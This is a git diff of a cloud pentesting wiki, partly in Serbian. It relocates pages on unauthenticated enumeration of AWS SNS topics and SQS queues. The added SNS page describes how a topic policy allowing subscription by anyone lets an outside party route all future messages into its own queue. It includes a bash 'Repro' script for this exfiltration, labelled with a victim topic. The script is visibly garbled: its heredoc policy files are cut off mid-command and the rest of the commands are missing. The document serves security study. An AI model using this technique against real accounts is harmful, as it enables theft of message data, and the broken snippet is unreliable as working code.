- -Dakle, ako **pronađete ARN tema** unutar naloga (ili brute forcing potencijalnih imena za teme) možete **proveriti** da li možete **objavljivati** ili **pretplatiti se** na **njih**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..e42530016 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Za više informacija o SNS pogledajte: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Otvoreno za sve + +Kada konfigurišete SNS topic iz web konzole moguće je označiti da **Everyone can publish and subscribe** na topic: + +
+ +Dakle, ako **pronađete ARN of topics** unutar naloga (ili brute forcing potencijalnih imena for topics) možete **proveriti** da li možete **publish** ili **subscribe** na **njih**. + +To bi bilo ekvivalentno SNS topic resource policy koja dozvoljava `sns:Subscribe` za `*` (ili za external accounts), bilo koji principal može kreirati subscription koji isporučuje sve buduće poruke topic-a u SQS queue koji poseduje. Kada vlasnik queue-a inicira subscription, nije potrebna ljudska potvrda za SQS endpoints. + +
+Repro (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index e0cc3dc36..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Za više informacija o SQS pogledajte: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Javni URL šablon -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### Proverite dozvole - -Moguće je pogrešno konfigurisati politiku SQS reda i dodeliti dozvole svima u AWS-u da šalju i primaju poruke, pa ako dobijete ARN redova, pokušajte da li možete da im pristupite. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..1e88d59a5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Za više informacija o SQS pogledajte: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Šablon javnog URL-a +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### Proverite dozvole + +Moguće je pogrešno konfigurisati SQS queue policy i dodeliti svima u AWS dozvole za slanje i primanje poruka, pa ako dobijete ARN redova, pokušajte da im pristupite. + +{{#include ../../../../banners/hacktricks-training.md}}